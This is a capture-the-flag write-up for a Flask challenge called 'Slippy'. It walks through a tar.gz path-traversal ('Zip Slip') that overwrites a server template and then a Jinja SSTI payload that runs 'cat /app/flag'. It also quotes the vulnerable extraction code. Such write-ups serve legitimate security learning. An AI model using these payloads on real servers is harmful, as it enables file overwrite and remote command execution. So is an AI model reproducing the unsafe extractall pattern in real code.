Slippy
2 minutes to read
We have a simple web back-end that allows us to upload a .tar.gz
file. As we have a Dockerfile
, let’s use a Docker container locally:
Source code analysis
On the source code we have a simple Python Flask application:
@api.route('/unslippy', methods=['POST'])
def cache():
if 'file' not in request.files:
return abort(400)
extraction = extract_from_archive(request.files['file'])
if extraction:
return {'list': extraction}, 200
return '', 204
The file is being extracted and written to /tmp
:
import tarfile, tempfile, os
from application import main
generate = lambda x: os.urandom(x).hex()
def extract_from_archive(file):
tmp = tempfile.gettempdir()
path = os.path.join(tmp, file.filename)
file.save(path)
if tarfile.is_tarfile(path):
tar = tarfile.open(path, 'r:gz')
tar.extractall(tmp)
extractdir = f'{main.app.config["UPLOAD_FOLDER"]}/{generate(15)}'
os.makedirs(extractdir, exist_ok=True)
extracted_filenames = []
for tarinfo in tar:
name = tarinfo.name
if tarinfo.isreg():
filename = f'{extractdir}/{name}'
os.rename(os.path.join(tmp, name), filename)
extracted_filenames.append(filename)
continue
os.makedirs(f'{extractdir}/{name}', exist_ok=True)
tar.close()
return extracted_filenames
return False
Zip Slip
Since the challenge is called Slippy
, one can think of Zip Slip, but in .tar.gz
files. This consists of compressing a file that contains a path traversal, so that when extracted, the path traversal is done and the file is written to another directory.
Let’s create this file structure:
$ tree asdf
asdf
├── app
│ ├── application
│ │ └── templates
│ │ └── index.html
│ └── flag
└── asdf
└── asdf
└── asdf
└── firmware.tar.gz
6 directories, 3 files
The idea is to go to asdf/asdf/asdf/asdf
and create a firmware.tar.gz
file containing ../../../app/application/templates/index.html
:
$ tar -czf firmware.tar.gz ../../../app/application/templates/index.html
This route can be discovered if we access into the container or we look at the Dockerfile
:
# Setup app
RUN mkdir -p /app
# Switch working environment
WORKDIR /app
# Add application
COPY challenge .
The idea is to overwrite index.html
, so let’s put a simple message to see if it works, and then compress the file as shown before. Then, we upload it and refresh the page:
SSTI
Nice, we can write arbitrary files. Now, to get the flag (it is stored in a file), we can use a Server-Side Template Injection (SSTI) payload, since it is using Flask.
For example, we can put this payload into index.html
:
{{ cycler.__init__.__globals__.os.popen('cat /app/flag').read() }}
After compressing the file, uploading it and refreshing the page:
Flag
Ok, let’s upload the firmware.tar.gz
to the live instance: